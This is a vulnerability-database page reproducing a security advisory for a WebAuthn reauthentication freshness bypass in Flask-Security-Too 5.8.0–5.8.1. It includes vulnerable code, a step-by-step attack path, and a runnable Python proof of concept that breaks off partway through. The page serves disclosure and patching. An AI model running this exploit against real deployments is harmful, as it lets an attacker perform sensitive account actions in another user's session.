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OSV ecosystem advisory

GHSA-f66q-9rf6-8795: Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion

Medium—No exploit No fix recorded

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • According to the record, no fixed version is available yet.

Low priority for now. Update when a fix is released; follow the vendor's advisory.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that `GHSA-97r5-pg8x-p63p` added on the OAuth reauthentication path (`user.email == current_user.email`) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session. ### Affected versions `Flask-Security-Too` `>= 5.8.0, <= 5.8.1` (current `main` commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`). `GHSA-97r5-pg8x-p63p` (published 2026-05-22) shipped its fix in 5.8.1 only on `oauth_glue.py`; `webauthn.py` was not touched and remains exploitable in 5.8.1. ### Privilege required Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (`first` / `secondary` / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters. ### Vulnerable code [`flask_security/webauthn.py:846-889`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L846-L889) (commit `5c44c76e33a20b67d02115e26d2da4bab18c094e`): ```python @auth_required(lambda: cv("API_ENABLED_METHODS")) def webauthn_verify_response(token: str) -> ResponseValue: form = t.cast( WebAuthnSigninResponseForm, build_form_from_request("wan_signin_response_form") ) expired, invalid, state = check_and_get_token_status( token, "wan", get_within_delta("WAN_SIGNIN_WITHIN") ) ... form.challenge = state["challenge"] form.user_verification = state["user_verification"] form.is_secondary = False form.is_verify = True if form.validate_on_submit(): # update last use and sign count after_this_request(view_commit) assert form.cred assert form.user form.cred.lastuse_datetime = _security.datetime_factory() form.cred.sign_count = form.authentication_verification.new_sign_count _datastore.put(form.cred) # verified - so set freshness time. session["fs_paa"] = time.time() ... ``` [`flask_security/webauthn.py:276-308`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/flask_security/webauthn.py#L276-L308) (the form's `validate()`): ```python def validate(self, **kwargs: t.Any) -> bool: if not super().validate(**kwargs): return False # pragma: no cover ... try: auth_cred = parse_authentication_credential_json(self.credential.data) except (...): ... return False # Look up credential Id (raw_id) and user. 7.2.6/7 self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id) ... # This shouldn't be able to happen if datastore properly cascades delete self.user = _datastore.find_user_from_webauthn(self.cred) ``` `self.user` is resolved from the attacker-controlled `credential_id` and is never compared to `current_user`. The state token issued by `_signin_common` ([`webauthn.py:589-622`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/webauthn.py#L589-L622)) carries only `{challenge, user_verification}`, so state tokens are not bound to any user and replay portably across sessions: ```python def _signin_common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]: ... state = { "challenge": challenge, "user_verification": uv, } ... state_token = t.cast(str, _security.wan_serializer.dumps(state)) return o_json, state_token ``` Contrast with the patch in [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) that `GHSA-97r5-pg8x-p63p` shipped: ```python next_loc = session.pop("fs_oauth_next", None) if user and user.email == current_user.email: # verified - so set freshness time. session["fs_paa"] = time.time() ``` That `user.email == current_user.email` clamp is the missing check on the WebAuthn side. ### How input reaches the sink 1. Attacker logs in to their own account and registers their own WebAuthn credential (call it `cred_attacker`). They retain a copy of any valid `navigator.credentials.get()` assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request). 2. Attacker holds, or gets, a victim session in a state where `fs_paa` is past `FRESHNESS`. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (`/change`, `/change-username`, `/wf-add`, `/us-setup`, anything decorated with `@auth_required(within=...)`). 3. The victim session calls `POST /wan-verify` and receives a `wan_state` token. The state token has no user binding. 4. Attacker submits an assertion that proves possession of `cred_attacker`, inside the victim session, to `POST /wan-verify/<wan_state>`. 5. `WebAuthnSigninResponseForm.validate` resolves `form.user` to the attacker account from `find_user_from_webauthn(self.cred)`, signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns `True`. The user-handle check on `auth_cred.response.user_handle` (if present) compares against `self.user.fs_webauthn_user_handle`, i.e. it compares attacker user-handle to attacker user, so it passes trivially. 6. `webauthn_verify_response` then writes `session["fs_paa"] = time.time()`. The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator. 7. Any subsequent `@auth_required(within=...)` endpoint now succeeds inside the victim session. ### End-to-end reproduction Reproduction is an in-process Flask test client driving the published wheel (`pip install Flask-Security-Too==5.8.0`, also re-run against 5.8.1 since `GHSA-97r5-pg8x-p63p`'s fix shipped with that release only touched `oauth_glue.py`). The full transcript is in the Proof of concept section below; here is the boot recipe: ```bash python3.12 -m venv venv source venv/bin/activate pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2_cffi python poc.py ``` Captured run-time output (5.8.0 path): ``` === Submit BOB's WebAuthn assertion to Alice's /wan-verify-response === cross-user assertion status: 200 alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038' # still Alice fs_paa BEFORE: 1779582282.550872 fs_paa AFTER : 1779585882.615287 # advanced === Demonstrate impact: /sensitive (freshness-protected) accepted === /sensitive after cross-user verify status: 200 ``` Re-run against 5.8.1 produces the same `200` on the cross-user assertion and the same `200` on the freshness-gated endpoint, confirming that the patch for `GHSA-97r5-pg8x-p63p` did not extend to the WebAuthn path. ### Proof of concept Mocked WebAuthn fixtures (`REG_DATA_UV`, `SIGNIN_DATA_UV`, `REG_DATA1`, `SIGNIN_DATA1`) and `HackWebauthnUtil` are lifted verbatim from the project's own test suite ([`tests/test_webauthn.py`](https://github.com/pallets-eco/flask security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/tests/test_webauthn.py)) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside `webauthn.verify_authentication_response`, it just substitutes the test-suite's own `WebauthnUtil` so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request. `poc.py` (complete, runnable; the `REG_DATA*` / `SIGNIN_DATA*` fixtures are the project's own `tests/test_webauthn.py` blobs, reproduced in full): ```python """ E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass via cross-user assertion. Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn verify path (`webauthn.py:847-889 webauthn_verify_response` + `webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets `session["fs_paa"] = time.time()` whenever a syntactically valid WebAuthn assertion completes, without checking that the assertion's resolved user equals the current session user. Setup: - Alice and Bob both registered as users. - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as primary-usage key, REG_DATA1 for Bob as primary-usage key). - Alice authenticates via password. Her freshness timestamp is rolled back to simulate a stale session (the standard reauthn precondition). - Alice's session attempts /wan-verify and gets a state_token. The state token only contains {challenge, user_verification} -- no user binding. - Alice's session POSTs to /wan-verify/<state_token> with BOB's WebAuthn credential signature (SIGNIN_DATA1). - validate() resolves form.user from Bob's credential_id without checking against current_user. webauthn_verify_response writes session["fs_paa"] = time.time(). - Alice now passes the freshness gate using a proof of Bob's credential. Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.) responds 200 for Alice's session even though the only credential proof provided was Bob's. This is the same trust-contract violation that GHSA-97r5-pg8x-p63p patched on the OAuth path. """ import copy import datetime as dt import json import re import time from datetime import timedelta from flask import Flask, jsonify from flask_sqlalchemy import SQLAlchemy from flask_security import ( Security, SQLAlchemyUserDatastore, auth_required, hash_password, ) from flask_security.models import fsqla_v3 as fsqla from flask_security.webauthn_util import WebauthnUtil # Fixtures lifted verbatim from tests/test_webauthn.py CHALLENGE = "smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo" REG_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "type": "public-key", "response": { "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC" "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA" "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi" "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf" "6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF" "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI" "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY" "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb" "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "transports": ["nfc", "usb"], }, "extensions": '{"credProps":{"rk":true}}', } SIGNIN_DATA_UV = { "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy", "type": "public-key", "response": { "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAABQ==", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy" "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W" "VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI" "sImNyb3NzT3JpZ2luIjpmYWxzZX0=", "signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw" "AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=", }, "assertionClientExtensions": "{}", } REG_DATA1 = { "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "type": "public-key", "response": { "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB" "cPZHZgW4_krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA" "AAAIMFFKjTo2N-XXE_r6YpGaWcfk_dTYyHuD6q1fI-42DznpQECAy" "YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il" "ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR" "FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk" "V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT" "AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0", "transports": ["usb"], }, "extensions": '{"credProps": {}}', } SIGNIN_DATA1 = { "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc", "type": "public-key", "response": { "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAABQ==", "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy" "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4" "WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw" "MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=", "signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS" "68HVf6K_Ku0L33C0sID2HzpJWSiTNgJlbU=", }, "assertionClientExtensions": "{}", } class HackWebauthnUtil(WebauthnUtil): """Mirrors tests/test_webauthn.py: pins the challenge to the value embedded in REG_DATA / SIGNIN_DATA so the cryptographic verification accepts the pre-recorded blobs. Standard PoC technique used by the project's own test suite. Does NOT change the vulnerable code path.""" def generate_challenge(self, nbytes=None): return CHALLENGE def origin(self): return "http://localhost:5001" def build_app(): app = Flask(__name__) app.config["SECRET_KEY"] = "poc-secret" app.config["SECURITY_PASSWORD_SALT"] = "poc-salt" app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///:memory:" app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False app.config["WTF_CSRF_ENABLED"] = False app.config["SERVER_NAME"] = "localhost:5001" app.config["SECURITY_WEBAUTHN"] = True app.config["SECURITY_WAN_ALLOW_AS_FIRST_FACTOR"] = True app.config["SECURITY_WAN_ALLOW_AS_VERIFY"] = ["first", "secondary"] app.config["SECURITY_WAN_ALLOW_AS_MULTI_FACTOR"] = True app.config["SECURITY_FRESHNESS"] = timedelta(minutes=1) app.config["SECURITY_FRESHNESS_GRACE_PERIOD"] = timedelta(seconds=0) app.config["SECURITY_CHANGEABLE"] = True app.config["SECURITY_USERNAME_ENABLE"] = False app.config["SECURITY_FRESHNESS"] = timedelta(seconds=10) db = SQLAlchemy(app) fsqla.FsModels.set_db_info(db) class Role(db.Model, fsqla.FsRoleMixin): pass class WebAuthn(db.Model, fsqla.FsWebAuthnMixin): pass class User(db.Model, fsqla.FsUserMixin): pass ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn) app.security = Security( app, datastore=ds, webauthn_util_cls=HackWebauthnUtil ) # A representative freshness-protected business endpoint. Same gate the # built-in /change, /change-username, /wf-add etc. use. @app.route("/sensitive", methods=["POST"]) @auth_required( within=lambda: app.config["SECURITY_FRESHNESS"], grace=lambda: app.config["SECURITY_FRESHNESS_GRACE_PERIOD"], ) def sensitive(): return jsonify({"ok": True}), 200 with app.app_context(): db.create_all() ds.create_user( email="alice@example.com", password=hash_password("alice-password"), confirmed_at=dt.datetime.now(dt.timezone.utc), ) ds.create_user( email="bob@example.com", password=hash_password("bob-password"), confirmed_at=dt.datetime.now(dt.timezone.utc), ) db.session.commit() return app def _register_start_json(client, name, usage="first"): resp = client.post("/wan-register", json=dict(name=name, usage=usage)) assert resp.status_code == 200, resp.data return f'/wan-register/{resp.json["response"]["wan_state"]}' def login_password(client, email, password): resp = client.post( "/login", json=dict(email=email, password=password), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) assert resp.status_code == 200, resp.data return resp def logout(client): return client.post( "/logout", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) def step(label): print(f"\n=== {label} ===") def main(): app = build_app() print(f"flask-security version under test: {__import__('flask_security').__version__}") # Step 1: Bob logs in, registers his WebAuthn credential, logs out step("Bob registers his WebAuthn credential (attacker's own key)") bob_client = app.test_client() login_password(bob_client, "bob@example.com", "bob-password") url = _register_start_json(bob_client, name="bobkey", usage="first") r = bob_client.post(url, json=dict(credential=json.dumps(REG_DATA1))) assert r.status_code == 200, r.data print(f" bob register status: {r.status_code}") logout(bob_client) # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in step("Alice registers her own WebAuthn credential (victim's key)") alice_client = app.test_client() login_password(alice_client, "alice@example.com", "alice-password") url = _register_start_json(alice_client, name="alicekey", usage="first") r = alice_client.post(url, json=dict(credential=json.dumps(REG_DATA_UV))) assert r.status_code == 200, r.data print(f" alice register status: {r.status_code}") # Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity) step("Confirm /sensitive works while session is fresh") r = alice_client.post( "/sensitive", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" /sensitive while fresh status: {r.status_code}") assert r.status_code == 200, r.data # Step 4: Roll Alice's fs_paa back to simulate a stale session step("Stale Alice's session (roll fs_paa back past FRESHNESS)") with alice_client.session_transaction() as sess: old_paa = sess["fs_paa"] - 3600 sess["fs_paa"] = old_paa sess.pop("fs_gexp", None) alice_identity = sess.get("_user_id") print(f" alice fs_uniquifier in session: {alice_identity!r}") print(f" alice fs_paa now: {old_paa}") # Step 5: Confirm freshness gate now denies Alice step("Confirm /sensitive now requires reauth (401 reauth_required)") r = alice_client.post( "/sensitive", json=dict(), headers={"Content-Type": "application/json", "Accept": "application/json"}, ) print(f" /sensitive after stale status: {r.status_code}") print(f" body: {r.json}") assert r.status_code == 401 assert r.json["response"]["reau

Published
Jul 7, 2026
Updated
Sep 10, 2026
EPSS
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Low priority for now.

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EPSS
0 / 30 · —

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VendorProduct
PyPIflask-security-too

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
PyPIflask-security-toofrom 5.8.0 · up to and including 5.8.1—

Same product

PyPI: all records

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Remediation

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Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

No fix version is recorded for this entry. Check the references for vendor advisories.

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

osv

Root cause

Authentication is added route by route instead of being enforced in one place. When a route added later bypasses the shared middleware, the session check never runs for it.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
app.use("/admin", requireSession, adminRouter);
// Route added later skips the middlewareapp.post("/admin-api/config", updateConfig);

Fixed

ts
const admin = express.Router();admin.use(requireSession, requireRole("admin"));
admin.post("/config", updateConfig);app.use("/admin", admin);

References

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